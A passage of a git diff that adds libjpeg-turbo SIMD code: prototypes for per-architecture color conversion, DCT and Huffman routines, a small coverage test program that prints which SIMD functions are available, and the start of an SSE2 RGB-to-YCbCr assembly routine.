jsimd_h2v1_extxbgr_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) jsimd_h2v1_extxrgb_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); + +EXTERN(void) jsimd_h2v2_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) jsimd_h2v2_extrgb_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) jsimd_h2v2_extrgbx_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) jsimd_h2v2_extbgr_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) jsimd_h2v2_extbgrx_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) jsimd_h2v2_extxbgr_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); +EXTERN(void) jsimd_h2v2_extxrgb_merged_upsample_dspr2 + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf, JSAMPLE *range); + +EXTERN(void) jsimd_h2v1_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgb_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgbx_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgr_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgrx_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxbgr_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxrgb_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +EXTERN(void) jsimd_h2v2_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgb_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgbx_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgr_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgrx_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxbgr_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxrgb_merged_upsample_mmi + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +EXTERN(void) jsimd_h2v1_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgb_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extrgbx_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgr_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extbgrx_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxbgr_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v1_extxrgb_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +EXTERN(void) jsimd_h2v2_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgb_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extrgbx_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgr_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extbgrx_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxbgr_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); +EXTERN(void) jsimd_h2v2_extxrgb_merged_upsample_altivec + (JDIMENSION output_width, JSAMPIMAGE input_buf, JDIMENSION in_row_group_ctr, + JSAMPARRAY output_buf); + +/* Sample Conversion */ +EXTERN(void) jsimd_convsamp_mmx + (JSAMPARRAY sample_data, JDIMENSION start_col, DCTELEM *workspace); + +EXTERN(void) jsimd_convsamp_sse2 + (JSAMPARRAY sample_data, JDIMENSION start_col, DCTELEM *workspace); + +EXTERN(void) jsimd_convsamp_avx2 + (JSAMPARRAY sample_data, JDIMENSION start_col, DCTELEM *workspace); + +EXTERN(void) jsimd_convsamp_neon + (JSAMPARRAY sample_data, JDIMENSION start_col, DCTELEM *workspace); + +EXTERN(void) jsimd_convsamp_dspr2 + (JSAMPARRAY sample_data, JDIMENSION start_col, DCTELEM *workspace); + +EXTERN(void) jsimd_convsamp_altivec + (JSAMPARRAY sample_data, JDIMENSION start_col, DCTELEM *workspace); + +/* Floating Point Sample Conversion */ +EXTERN(void) jsimd_convsamp_float_3dnow + (JSAMPARRAY sample_data, JDIMENSION start_col, FAST_FLOAT *workspace); + +EXTERN(void) jsimd_convsamp_float_sse + (JSAMPARRAY sample_data, JDIMENSION start_col, FAST_FLOAT *workspace); + +EXTERN(void) jsimd_convsamp_float_sse2 + (JSAMPARRAY sample_data, JDIMENSION start_col, FAST_FLOAT *workspace); + +EXTERN(void) jsimd_convsamp_float_dspr2 + (JSAMPARRAY sample_data, JDIMENSION start_col, FAST_FLOAT *workspace); + +/* Accurate Integer Forward DCT */ +EXTERN(void) jsimd_fdct_islow_mmx(DCTELEM *data); + +extern const int jconst_fdct_islow_sse2[]; +EXTERN(void) jsimd_fdct_islow_sse2(DCTELEM *data); + +extern const int jconst_fdct_islow_avx2[]; +EXTERN(void) jsimd_fdct_islow_avx2(DCTELEM *data); + +EXTERN(void) jsimd_fdct_islow_neon(DCTELEM *data); + +EXTERN(void) jsimd_fdct_islow_dspr2(DCTELEM *data); + +EXTERN(void) jsimd_fdct_islow_mmi(DCTELEM *data); + +EXTERN(void) jsimd_fdct_islow_altivec(DCTELEM *data); + +/* Fast Integer Forward DCT */ +EXTERN(void) jsimd_fdct_ifast_mmx(DCTELEM *data); + +extern const int jconst_fdct_ifast_sse2[]; +EXTERN(void) jsimd_fdct_ifast_sse2(DCTELEM *data); + +EXTERN(void) jsimd_fdct_ifast_neon(DCTELEM *data); + +EXTERN(void) jsimd_fdct_ifast_dspr2(DCTELEM *data); + +EXTERN(void) jsimd_fdct_ifast_mmi(DCTELEM *data); + +EXTERN(void) jsimd_fdct_ifast_altivec(DCTELEM *data); + +/* Floating Point Forward DCT */ +EXTERN(void) jsimd_fdct_float_3dnow(FAST_FLOAT *data); + +extern const int jconst_fdct_float_sse[]; +EXTERN(void) jsimd_fdct_float_sse(FAST_FLOAT *data); + +/* Quantization */ +EXTERN(void) jsimd_quantize_mmx + (JCOEFPTR coef_block, DCTELEM *divisors, DCTELEM *workspace); + +EXTERN(void) jsimd_quantize_sse2 + (JCOEFPTR coef_block, DCTELEM *divisors, DCTELEM *workspace); + +EXTERN(void) jsimd_quantize_avx2 + (JCOEFPTR coef_block, DCTELEM *divisors, DCTELEM *workspace); + +EXTERN(void) jsimd_quantize_neon + (JCOEFPTR coef_block, DCTELEM *divisors, DCTELEM *workspace); + +EXTERN(void) jsimd_quantize_dspr2 + (JCOEFPTR coef_block, DCTELEM *divisors, DCTELEM *workspace); + +EXTERN(void) jsimd_quantize_mmi + (JCOEFPTR coef_block, DCTELEM *divisors, DCTELEM *workspace); + +EXTERN(void) jsimd_quantize_altivec + (JCOEFPTR coef_block, DCTELEM *divisors, DCTELEM *workspace); + +/* Floating Point Quantization */ +EXTERN(void) jsimd_quantize_float_3dnow + (JCOEFPTR coef_block, FAST_FLOAT *divisors, FAST_FLOAT *workspace); + +EXTERN(void) jsimd_quantize_float_sse + (JCOEFPTR coef_block, FAST_FLOAT *divisors, FAST_FLOAT *workspace); + +EXTERN(void) jsimd_quantize_float_sse2 + (JCOEFPTR coef_block, FAST_FLOAT *divisors, FAST_FLOAT *workspace); + +EXTERN(void) jsimd_quantize_float_dspr2 + (JCOEFPTR coef_block, FAST_FLOAT *divisors, FAST_FLOAT *workspace); + +/* Scaled Inverse DCT */ +EXTERN(void) jsimd_idct_2x2_mmx + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); +EXTERN(void) jsimd_idct_4x4_mmx + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +extern const int jconst_idct_red_sse2[]; +EXTERN(void) jsimd_idct_2x2_sse2 + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); +EXTERN(void) jsimd_idct_4x4_sse2 + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +EXTERN(void) jsimd_idct_2x2_neon + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); +EXTERN(void) jsimd_idct_4x4_neon + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +EXTERN(void) jsimd_idct_2x2_dspr2 + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); +EXTERN(void) jsimd_idct_4x4_dspr2 + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col, int *workspace); +EXTERN(void) jsimd_idct_6x6_dspr2 + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); +EXTERN(void) jsimd_idct_12x12_pass1_dspr2 + (JCOEFPTR coef_block, void *dct_table, int *workspace); +EXTERN(void) jsimd_idct_12x12_pass2_dspr2 + (int *workspace, int *output); + +/* Accurate Integer Inverse DCT */ +EXTERN(void) jsimd_idct_islow_mmx + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +extern const int jconst_idct_islow_sse2[]; +EXTERN(void) jsimd_idct_islow_sse2 + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +extern const int jconst_idct_islow_avx2[]; +EXTERN(void) jsimd_idct_islow_avx2 + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +EXTERN(void) jsimd_idct_islow_neon + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +EXTERN(void) jsimd_idct_islow_dspr2 + (void *dct_table, JCOEFPTR coef_block, int *output_buf, JSAMPLE *output_col); + +EXTERN(void) jsimd_idct_islow_mmi + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +EXTERN(void) jsimd_idct_islow_altivec + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +/* Fast Integer Inverse DCT */ +EXTERN(void) jsimd_idct_ifast_mmx + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +extern const int jconst_idct_ifast_sse2[]; +EXTERN(void) jsimd_idct_ifast_sse2 + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +EXTERN(void) jsimd_idct_ifast_neon + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +EXTERN(void) jsimd_idct_ifast_cols_dspr2 + (JCOEF *inptr, IFAST_MULT_TYPE *quantptr, DCTELEM *wsptr, + const int *idct_coefs); +EXTERN(void) jsimd_idct_ifast_rows_dspr2 + (DCTELEM *wsptr, JSAMPARRAY output_buf, JDIMENSION output_col, + const int *idct_coefs); + +EXTERN(void) jsimd_idct_ifast_mmi + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +EXTERN(void) jsimd_idct_ifast_altivec + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +/* Floating Point Inverse DCT */ +EXTERN(void) jsimd_idct_float_3dnow + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +extern const int jconst_idct_float_sse[]; +EXTERN(void) jsimd_idct_float_sse + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +extern const int jconst_idct_float_sse2[]; +EXTERN(void) jsimd_idct_float_sse2 + (void *dct_table, JCOEFPTR coef_block, JSAMPARRAY output_buf, + JDIMENSION output_col); + +/* Huffman coding */ +extern const int jconst_huff_encode_one_block[]; +EXTERN(JOCTET *) jsimd_huff_encode_one_block_sse2 + (void *state, JOCTET *buffer, JCOEFPTR block, int last_dc_val, + c_derived_tbl *dctbl, c_derived_tbl *actbl); + +EXTERN(JOCTET *) jsimd_huff_encode_one_block_neon + (void *state, JOCTET *buffer, JCOEFPTR block, int last_dc_val, + c_derived_tbl *dctbl, c_derived_tbl *actbl); + +#ifndef NEON_INTRINSICS + +EXTERN(JOCTET *) jsimd_huff_encode_one_block_neon_slowtbl + (void *state, JOCTET *buffer, JCOEFPTR block, int last_dc_val, + c_derived_tbl *dctbl, c_derived_tbl *actbl); + +#endif + +/* Progressive Huffman encoding */ +EXTERN(void) jsimd_encode_mcu_AC_first_prepare_sse2 + (const JCOEF *block, const int *jpeg_natural_order_start, int Sl, int Al, + UJCOEF *values, size_t *zerobits); + +EXTERN(void) jsimd_encode_mcu_AC_first_prepare_neon + (const JCOEF *block, const int *jpeg_natural_order_start, int Sl, int Al, + UJCOEF *values, size_t *zerobits); + +EXTERN(int) jsimd_encode_mcu_AC_refine_prepare_sse2 + (const JCOEF *block, const int *jpeg_natural_order_start, int Sl, int Al, + UJCOEF *absvalues, size_t *bits); + +EXTERN(int) jsimd_encode_mcu_AC_refine_prepare_neon + (const JCOEF *block, const int *jpeg_natural_order_start, int Sl, int Al, + UJCOEF *absvalues, size_t *bits); diff --git a/lib/libjpeg-turbo/simd/simdcoverage.c b/lib/libjpeg-turbo/simd/simdcoverage.c new file mode 100755 index 0000000..c87481f --- /dev/null +++ b/lib/libjpeg-turbo/simd/simdcoverage.c @@ -0,0 +1,121 @@ +/* + * Copyright (C) 2025, D. R. Commander. All Rights Reserved. + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any damages + * arising from the use of this software. + * + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you must not + * claim that you wrote the original software. If you use this software + * in a product, an acknowledgment in the product documentation would be + * appreciated but is not required. + * 2. Altered source versions must be plainly marked as such, and must not be + * misrepresented as being the original software. + * 3. This notice may not be removed or altered from any source distribution. + */ + +#include +#define JPEG_INTERNALS +#include "../src/jinclude.h" +#include "../src/jpeglib.h" +#include "../src/jdct.h" +#include "../src/jsimddct.h" +#include "../src/jsimd.h" +#include "../src/jpegapicomp.h" + + +#define C_COVERAGE_TEST(f) \ + printf(#f " -- %s\n", f() ? "YES" : "no") + +#define D_COVERAGE_TEST(f) \ + printf(#f " -- %s\n", f() ? "YES" : "no") + + +int main(void) +{ + struct jpeg_compress_struct cinfo; + struct jpeg_decompress_struct dinfo; + struct jpeg_error_mgr jerr; + + cinfo.err = jpeg_std_error(&jerr); + jpeg_create_compress(&cinfo); + cinfo.input_components = 3; + cinfo.in_color_space = JCS_RGB; + jpeg_set_defaults(&cinfo); + jinit_color_converter(&cinfo); + jinit_downsampler(&cinfo); + jinit_huff_encoder(&cinfo); + + dinfo.err = jpeg_std_error(&jerr); + jpeg_create_decompress(&dinfo); + dinfo.num_components = 3; + dinfo.jpeg_color_space = JCS_YCbCr; + dinfo.out_color_space = JCS_RGB; + jinit_color_deconverter(&dinfo); + dinfo.comp_info = (jpeg_component_info *)(*dinfo.mem->alloc_small) + ((j_common_ptr)&dinfo, JPOOL_IMAGE, + dinfo.num_components * sizeof(jpeg_component_info)); + dinfo.comp_info[0].component_id = 0; + dinfo.comp_info[0].h_samp_factor = dinfo.comp_info[0].v_samp_factor = 1; + dinfo.comp_info[1].component_id = 1; + dinfo.comp_info[1].h_samp_factor = dinfo.comp_info[1].v_samp_factor = 1; + dinfo.comp_info[2].component_id = 2; + dinfo.comp_info[2].h_samp_factor = dinfo.comp_info[2].v_samp_factor = 1; + dinfo._min_DCT_scaled_size = DCTSIZE; + jinit_upsampler(&dinfo); + jinit_inverse_dct(&dinfo); + + C_COVERAGE_TEST(jsimd_can_rgb_ycc); + C_COVERAGE_TEST(jsimd_can_rgb_gray); + D_COVERAGE_TEST(jsimd_can_ycc_rgb); + D_COVERAGE_TEST(jsimd_can_ycc_rgb565); + C_COVERAGE_TEST(jsimd_can_h2v1_downsample); + C_COVERAGE_TEST(jsimd_can_h2v2_downsample); +#ifdef __mips__ + C_COVERAGE_TEST(jsimd_can_h2v2_smooth_downsample); +#endif + D_COVERAGE_TEST(jsimd_can_h2v1_upsample); + D_COVERAGE_TEST(jsimd_can_h2v2_upsample); +#ifdef __mips__ + D_COVERAGE_TEST(jsimd_can_int_upsample); +#endif + D_COVERAGE_TEST(jsimd_can_h2v1_fancy_upsample); + D_COVERAGE_TEST(jsimd_can_h2v2_fancy_upsample); +#if defined(__arm__) || defined(__aarch64__) || defined(_M_ARM) || \ + defined(_M_ARM64) || defined(_M_ARM64EC) + D_COVERAGE_TEST(jsimd_can_h1v2_fancy_upsample); +#endif + D_COVERAGE_TEST(jsimd_can_h2v1_merged_upsample); + D_COVERAGE_TEST(jsimd_can_h2v2_merged_upsample); + C_COVERAGE_TEST(jsimd_can_convsamp); + C_COVERAGE_TEST(jsimd_can_convsamp_float); + C_COVERAGE_TEST(jsimd_can_fdct_islow); + C_COVERAGE_TEST(jsimd_can_fdct_ifast); + C_COVERAGE_TEST(jsimd_can_fdct_float); + C_COVERAGE_TEST(jsimd_can_quantize); + C_COVERAGE_TEST(jsimd_can_quantize_float); + D_COVERAGE_TEST(jsimd_can_idct_islow); + D_COVERAGE_TEST(jsimd_can_idct_ifast); + D_COVERAGE_TEST(jsimd_can_idct_float); + D_COVERAGE_TEST(jsimd_can_idct_2x2); + D_COVERAGE_TEST(jsimd_can_idct_4x4); +#ifdef __mips__ + D_COVERAGE_TEST(jsimd_can_idct_6x6); + D_COVERAGE_TEST(jsimd_can_idct_12x12); +#endif + C_COVERAGE_TEST(jsimd_can_huff_encode_one_block); + C_COVERAGE_TEST(jsimd_can_encode_mcu_AC_first_prepare); + C_COVERAGE_TEST(jsimd_can_encode_mcu_AC_refine_prepare); + + jpeg_abort_compress(&cinfo); + jpeg_destroy_compress(&cinfo); + + jpeg_abort_decompress(&dinfo); + jpeg_destroy_decompress(&dinfo); + + return 0; +} diff --git a/lib/libjpeg-turbo/simd/x86_64/jccolext-sse2.asm b/lib/libjpeg-turbo/simd/x86_64/jccolext-sse2.asm new file mode 100755 index 0000000..ab882b1 --- /dev/null +++ b/lib/libjpeg-turbo/simd/x86_64/jccolext-sse2.asm @@ -0,0 +1,541 @@ +; +; Colorspace conversion (64-bit SSE2) +; +; Copyright (C) 2009, 2016, 2024-2025, D. R. Commander. +; Copyright (C) 2018, Matthias Räncker. +; Copyright (C) 2023, Aliaksiej Kandracienka. +; +; Based on the x86 SIMD extension for IJG JPEG library +; Copyright (C) 1999-2006, MIYASAKA Masaru. +; For conditions of distribution and use, see copyright notice in jsimdext.inc +; +; This file should be assembled with NASM (Netwide Assembler) or Yasm. + +%include "jcolsamp.inc" + +; -------------------------------------------------------------------------- +; +; Convert some rows of samples to the JPEG colorspace. +; +; GLOBAL(void) +; jsimd_rgb_ycc_convert_sse2(JDIMENSION img_width, JSAMPARRAY input_buf, +; JSAMPIMAGE output_buf, JDIMENSION output_row, +; int num_rows) +; +; r10d = JDIMENSION img_width +; r11 = JSAMPARRAY input_buf +; r12 = JSAMPIMAGE output_buf +; r13d = JDIMENSION output_row +; r14d = int num_rows + +%define wk(i) r15 - (WK_NUM - (i)) * SIZEOF_XMMWORD ; xmmword wk[WK_NUM] +%define WK_NUM 8 + + align 32 + GLOBAL_FUNCTION(jsimd_rgb_ycc_convert_sse2) + +EXTN(jsimd_rgb_ycc_convert_sse2): + ENDBR64 + push rbp + mov rbp, rsp + push r15 + and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits + ; Allocate stack space for wk array. r15 is used to access it. + mov r15, rsp + sub rsp, (SIZEOF_XMMWORD * WK_NUM) + COLLECT_ARGS 5 + push rbx + + mov ecx, r10d + test rcx, rcx + jz near .return + + push rcx + + mov rsi, r12 + mov ecx, r13d + mov rdip, JSAMPARRAY [rsi + 0 * SIZEOF_JSAMPARRAY] + mov rbxp, JSAMPARRAY [rsi + 1 * SIZEOF_JSAMPARRAY] + mov rdxp, JSAMPARRAY [rsi + 2 * SIZEOF_JSAMPARRAY] + lea rdi, [rdi + rcx * SIZEOF_JSAMPROW] + lea rbx, [rbx + rcx * SIZEOF_JSAMPROW] + lea rdx, [rdx + rcx * SIZEOF_JSAMPROW] + + pop rcx + + mov rsi, r11 + mov eax, r14d + test rax, rax + jle near .return +.rowloop: + push rdx + push rbx + push rdi + push rsi + push rcx ; col + + mov rsip, JSAMPROW [rsi] ; inptr + mov rdip, JSAMPROW [rdi] ; outptr0 + mov rbxp, JSAMPROW [rbx] ; outptr1 + mov rdxp, JSAMPROW [rdx] ; outptr2 + + cmp rcx, byte SIZEOF_XMMWORD + jae near .columnloop + +%if RGB_PIXELSIZE == 3 ; --------------- + +.column_ld1: + push rax + push rdx + lea rcx, [rcx + rcx * 2] ; imul ecx, RGB_PIXELSIZE + test cl, SIZEOF_BYTE + jz short .column_ld2 + sub rcx, byte SIZEOF_BYTE + movzx rax, byte [rsi + rcx] +.column_ld2: + test cl, SIZEOF_WORD + jz short .column_ld4 + sub rcx, byte SIZEOF_WORD + movzx rdx, word [rsi + rcx] + shl rax, WORD_BIT + or rax, rdx +.column_ld4: + movd xmmA, eax + pop rdx + pop rax + test cl, SIZEOF_DWORD + jz short .column_ld8 + sub rcx, byte SIZEOF_DWORD + movd xmmF, XMM_DWORD [rsi + rcx] + pslldq xmmA, SIZEOF_DWORD + por xmmA, xmmF +.column_ld8: + test cl, SIZEOF_MMWORD + jz short .column_ld16 + sub rcx, byte SIZEOF_MMWORD + movq xmmB, XMM_MMWORD [rsi + rcx] + pslldq xmmA, SIZEOF_MMWORD + por xmmA, xmmB +.column_ld16: + test cl, SIZEOF_XMMWORD + jz short .column_ld32 + movdqa xmmF, xmmA + movdqu xmmA, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + mov rcx, SIZEOF_XMMWORD + jmp short .rgb_ycc_cnv +.column_ld32: + test cl, 2 * SIZEOF_XMMWORD + mov rcx, SIZEOF_XMMWORD + jz short .rgb_ycc_cnv + movdqa xmmB, xmmA + movdqu xmmA, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + movdqu xmmF, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] + jmp short .rgb_ycc_cnv + +.columnloop: + movdqu xmmA, XMMWORD [rsi + 0 * SIZEOF_XMMWORD] + movdqu xmmF, XMMWORD [rsi + 1 * SIZEOF_XMMWORD] + movdqu xmmB, XMMWORD [rsi + 2 * SIZEOF_XMMWORD] + +.rgb_ycc_cnv: + ; NOTE: The values of RGB_RED, RGB_GREEN, and RGB_BLUE determine the + ; mapping of components A, B, and C to red, green, and blue. + ; + ; xmmA = (A0 B0 C0 A1 B1 C1 A2 B2 C2 A3 B3 C3 A4 B4 C4 A5) + ; xmmF = (B5 C5 A6 B6 C6 A7 B7 C7 A8 B8 C8 A9 B9 C9 Aa Ba) + ; xmmB = (Ca Ab Bb Cb Ac Bc Cc Ad Bd Cd Ae Be Ce Af Bf Cf) + + movdqa xmmG, xmmA + pslldq xmmA, 8 + ; xmmA = (-- -- -- -- -- -- -- -- A0 B0 C0 A1 B1 C1 A2 B2) + psrldq xmmG, 8 + ; xmmG = (C2 A3 B3 C3 A4 B4 C4 A5 -- -- -- -- -- -- -- --) + + punpckhbw xmmA, xmmF + ; xmmA = (A0 A8 B0 B8 C0 C8 A1 A9 B1 B9 C1 C9 A2 Aa B2 Ba) + pslldq xmmF, 8 + ; xmmF = (-- -- -- -- -- -- -- -- B5 C5 A6 B6 C6 A7 B7 C7) + + punpcklbw xmmG, xmmB + ; xmmG = (C2 Ca A3 Ab B3 Bb C3 Cb A4 Ac B4 Bc C4 Cc A5 Ad) + punpckhbw xmmF, xmmB + ; xmmF = (B5 Bd C5 Cd A6 Ae B6 Be C6 Ce A7 Af B7 Bf C7 Cf) + + movdqa xmmD, xmmA + pslldq xmmA, 8 + ; xmmA = (-- -- -- -- -- -- -- -- A0 A8 B0 B8 C0 C8 A1 A9) + psrldq xmmD, 8 + ; xmmD = (B1 B9 C1 C9 A2 Aa B2 Ba -- -- -- -- -- -- -- --) + + punpckhbw xmmA, xmmG + ; xmmA = (A0 A4 A8 Ac B0 B4 B8 Bc C0 C4 C8 Cc A1 A5 A9 Ad) + pslldq xmmG, 8 + ; xmmG = (-- -- -- -- -- -- -- -- C2 Ca A3 Ab B3 Bb C3 Cb) + + punpcklbw xmmD, xmmF + ; xmmD = (B1 B5 B9 Bd C1 C5 C9 Cd A2 A6 Aa Ae B2 B6 Ba Be) + punpckhbw xmmG, xmmF + ; xmmG = (C2 C6 Ca Ce A3 A7 Ab Af B3 B7 Bb Bf C3 C7 Cb Cf) + + movdqa xmmE, xmmA + pslldq xmmA, 8 + ; xmmA = (-- -- -- -- -- -- -- -- A0 A4 A8 Ac B0 B4 B8 Bc) + psrldq xmmE, 8 + ; xmmE = (C0 C4 C8 Cc A1 A5 A9 Ad -- -- -- -- -- -- -- --) + + punpckhbw xmmA, xmmD + ; xmmA = (A0 A2 A4 A6 A8 Aa Ac Ae B0 B2 B4 B6 B8 Ba Bc Be) + pslldq xmmD, 8 + ; xmmD = (-- -- -- -- -- -- -- -- B1 B5 B9 Bd C1 C5 C9 Cd) + + punpcklbw xmmE, xmmG + ; xmmE = (C0 C2 C4 C6 C8 Ca Cc Ce A1 A3 A5 A7 A9 Ab Ad Af) + punpckhbw xmmD, xmmG + ; xmmD = (B1 B3 B5 B7 B9 Bb Bd Bf C1 C3 C5 C7 C9 Cb Cd Cf) + + pxor xmmH, xmmH + + movdqa xmmC, xmmA + punpcklbw xmmA, xmmH ; xmmA = (A0 A2 A4 A6 A8 Aa Ac Ae) = AE + punpckhbw xmmC, xmmH ; xmmC = (B0 B2 B4 B6 B8 Ba Bc Be) = BE + + movdqa xmmB, xmmE + punpcklbw xmmE, xmmH ; xmmE = (C0 C2 C4 C6 C8 Ca Cc Ce) = CE + punpckhbw xmmB, xmmH ; 